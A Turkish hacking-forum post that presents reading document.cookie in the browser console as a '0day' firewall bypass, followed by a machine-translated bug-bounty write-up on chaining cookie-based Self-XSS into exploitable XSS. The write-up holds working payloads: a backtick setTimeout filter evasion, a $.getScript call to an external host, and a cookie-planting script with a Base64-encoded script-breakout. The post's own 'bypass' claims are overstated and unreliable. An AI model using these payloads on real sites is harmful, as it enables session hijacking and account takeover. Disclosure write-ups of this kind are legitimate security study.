- 21 Haz 2020
- 154
- 5
|
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
Çerez / Sunucu güvenlik duvarlarını baypass edelim. " Üst düzey çerez baypass metot" -> 0gün / Hadi Gidelim|
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
******************************************
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------|
Let's bypass Cookie / Server firewalls. "High level cookie bypass method" -> 0days / Lets go.|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
İşlemler:|
|
|
1.) F12 Tuşuna bas.|
|
2.) console.log(belge.cookie); " Dosyayı ingilizceye kopyala Yapıştır. " ( Açıklama: hihi tht de olmadı değil mi? Bak şimdi. )|
3.) alert(belge.cookie); " Dosyayı ingilizceye çevir kopyala Yapıştır. " ( Şimdi? denediysen eğer oturum açılmış durumdaysanız == çerez |içerisinde oturum verileriniz de gelecek. Gizliden deneyebilirsiniz. Gizliden yapıldığında sadece aktivasyon verilerini verecek. )|
4.) Şimdi ise " php içerisinde curl, html, sade javascript kodları" istediğiniz yol ile çalıştırabilrsiniz ancak html kodunda ve php kodunda |göreceksiniz ki site içerisindeki filtrelemeler devreye girecektir. Bu sistemlerde yapılan waf baypass metodunu bilmiyorsanız konuyu |beğenip onun da gelmesini sağlayabilirsiniz.|
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
İngilizceden çevrilmiştir-HTTP 403, istenen kaynağa erişimin yasak olduğu anlamına gelen bir HTTP durum kodudur. Sunucu isteği |anladı, ancak yerine getirmeyecek.|
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|Resimli anlatım:|
|
|
Örnekte görüldüğü üzere sadece sunucunun aktivasyon bilgileri dediğim bilgileri attı bize. Yani sen bu, şu, insan, robot, engellenmiş kişi, |adıyaman konumunda bulunan kişi vb....|
|
|
|
+++++++++++++++++++++|
|
|
++++++++++++++++++++++++++++++++++++++|
|
Şimdi anlamayan değerli insanlar olabilir. Şimdi bilmeyen kişiler ve/veya anlamayanlar için video ekledim" video da bikaç tüyo da var ":|
|
< VİDEO >
[|url]https://vimeo.com/520143483[/url]|
|Eğer anlamadıysanız onun da çözümü var değerli insanlar.|
|Self-XSS'i Good XSS'e Çevirmek anahtarı ile farklı kaynaklara da bakabilirsiniz.|
|
Örnek: |
|
https://laptrinhx.com/cookie-based-self-xss-to-good-xss-3104768763/|
https://www.netsparker.com.tr/blog/web-guvenligi/self-xss-i-good-xss-e-cevirmek/|
--------------------------------------------------------|
|
Şahsen ben ingilizce olanına bakardım. Bu arada hiçbir yerden alınmadı alıntılanmadı sadece ben tek mi keşfetmişim diye aratırıken karşıma çıkan sonuç hüsrana uğratsa da daha fazla içerik ile buluşturdu.|
|
|
İçeriğe gitmeye üşenenler için:|
|
|
|
|Cookie Based Self-XSS to Good XSS
|
|
|
|Geçen ay Synack Red Teams özel hata ödül platformuna kabul edildim ve programlarından birinde yansıyan bir XSS güvenlik açığı |keşfettim. Synack bug ödül programlarının özel doğası nedeniyle, bu yazıda hedeften bahsetmeyeceğim, ancak karşılaştığım bir dizi |farklı sınırlamayı nasıl yendiğimi göstereceğim. DOM olarak da bilinen Belge Nesne Modeli'ne erişimimin olduğunu kanıtlayamadığım için |bulduğum için başlangıçta 272 ABD doları aldım. DOM'a erişemememin nedeni, parantez karakterlerinin filtrelenmesi ve sonuç olarak |aşağıdaki gibi bir yükü yürütemememdi:
|
||Kod:alert(********.domain)
|Normalde bu JavaScript işlevi, aşağıdaki ekran görüntüsünde gösterilen aşağıdaki yürütme ile sonuçlanır.
|
|
|
|
|DOM Erişimini gösteren uyarının (********.domain) yürütülmesi|
|Kod:alert`********.domain`
|Parantez karakterleri filtrelendiğinden, işlevimi yürütmek için `karakterleri kullanmak zorunda kaldım. Ne yazık ki, aşağıdaki
||işlev
|çalıştırıldığında, aşağıdaki ekran görüntüsünde gösterilen DOM erişiminiz yoktur.
|
|
|Raporu gönderdim ve 272 $ ile ödüllendirildim, ancak DOM erişimini elde edebilirsem bana bir bonus verileceği söylendi, bu yüzden doğal |olarak bu teklifi oldukça eğlenceli bir meydan okumaya dönüştüğümü kabul ettim. Brutelogic (Brute) ile konuştum ve ona bu sınırlamayı |aşmak için herhangi bir teknik bilip bilmediğini sordum ve XSS Cheat Sheet PDF belgesine başvurmamı söyledi. Belgeyi okurken aşağıda |listelenen aşağıdaki yük ile karşılaştım:
|
|
|Kod:setTimeout`alert\x28********.domain\x29`
|Bu yük, tam olarak ihtiyacım olan şey olan DOM erişimini sağladı. DOM erişimini gösteren yeni yükümü yeniden gönderdim ve önceki|ödememe ek olarak 60 ABD doları kazandım. Ancak henüz bitirmedim. Daha önce, hata ödül programı kapsamında olan farklı bir alt etki |alanında bir Self-XSS keşfettim. Bu XSS, Base64 kodlu bir XSS yükünü oturum tanımlama bilgisindeki bir parametreye yerleştirerek |oluştu. Çerez tabanlı XSS güvenlik açıklarından, bir saldırgan çerez değeri ayarlayamadığı sürece yararlanılamaz. Neyse ki, yukarıda |bahsettiğim bir XSS güvenlik açığım zaten vardı. Ancak, bir sınırlamam vardı, o da yükümün çok fazla karakter olamayacağı, aksi takdirde |başarısız olacağıydı. Bu saldırının başarılı bir şekilde çalışması için yürütmem gereken JavaScript'in harici bir JavaScript dosyasından |gömülmesi gerektiğini biliyordum çünkü başarılı bir şekilde çalışmak için çok uzun sürdü. Düzgün çalışması için çok uzun olduğu için, |düzgün bir çerez ayarlamak için yükü içeren harici JavaScript dosyasını da yerleştiremiyordum. Ancak, güvenlik açığı bulunan sayfanın, |başarılı bir şekilde yürütmek için yeterince kısa bir komut dosyası yerleştirmeme izin veren jQuery kullandığını fark ettim. İşte kullandığım |başarılı kod:
|Kod:$.getScript`//xss.example.com/xss.js`
|Şimdi, tek yapmam gereken, savunmasız çerez parametresini Base64 kodlu bir yüke ayarlayacak JavaScript dosyasını barındırmaktı. |Kullandığım kod şuna benziyordu:
|Kod:$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />'); [LEFT]|[/LEFT]function setCookieRedir(){ [LEFT]| [/LEFT] ********.cookie = [LEFT]|[/LEFT]"vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;"; [LEFT]|[/LEFT] window.******** = "https://example.com/vulnerablePage.html"; [LEFT]|[/LEFT]} [LEFT]|[/LEFT]
|Yukarıda yayınlanan kod, esasen web sayfasını "Devam etmek için aşağıdaki düğmeyi tıklayın" yazan başlık metniyle değiştirir. altında bir |düğme ile. Kurban düğmeyi tıkladığında, securityableCookie değerini aşağıdaki Base64 kodlu dizeye ayarlar:
|Kod:LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v
|Base64 kodlu dize, aşağıdaki yükün kodunu çözer ve bu daha sonra savunmasız web sayfasına yansıtılır.
|Kod:--></script><script>alert(********.domain);//
|Sonuç olarak, bunun çok ilginç bir güvenlik açığı zinciri olduğunu düşündüm ve süreç boyunca karşılaştığım çeşitli sınırlamalar için |baypas bulmakta çok eğlendim. Sonunda, bu güvenlik açığı zincirini mümkün kılan 272 $ + 60 $ 'a ek olarak bu Self-XSS'yi sömürülebilir |bir XSS'ye dönüştürdüğüm için 616 $ ile ödüllendirildim.
|
Son düzenleme: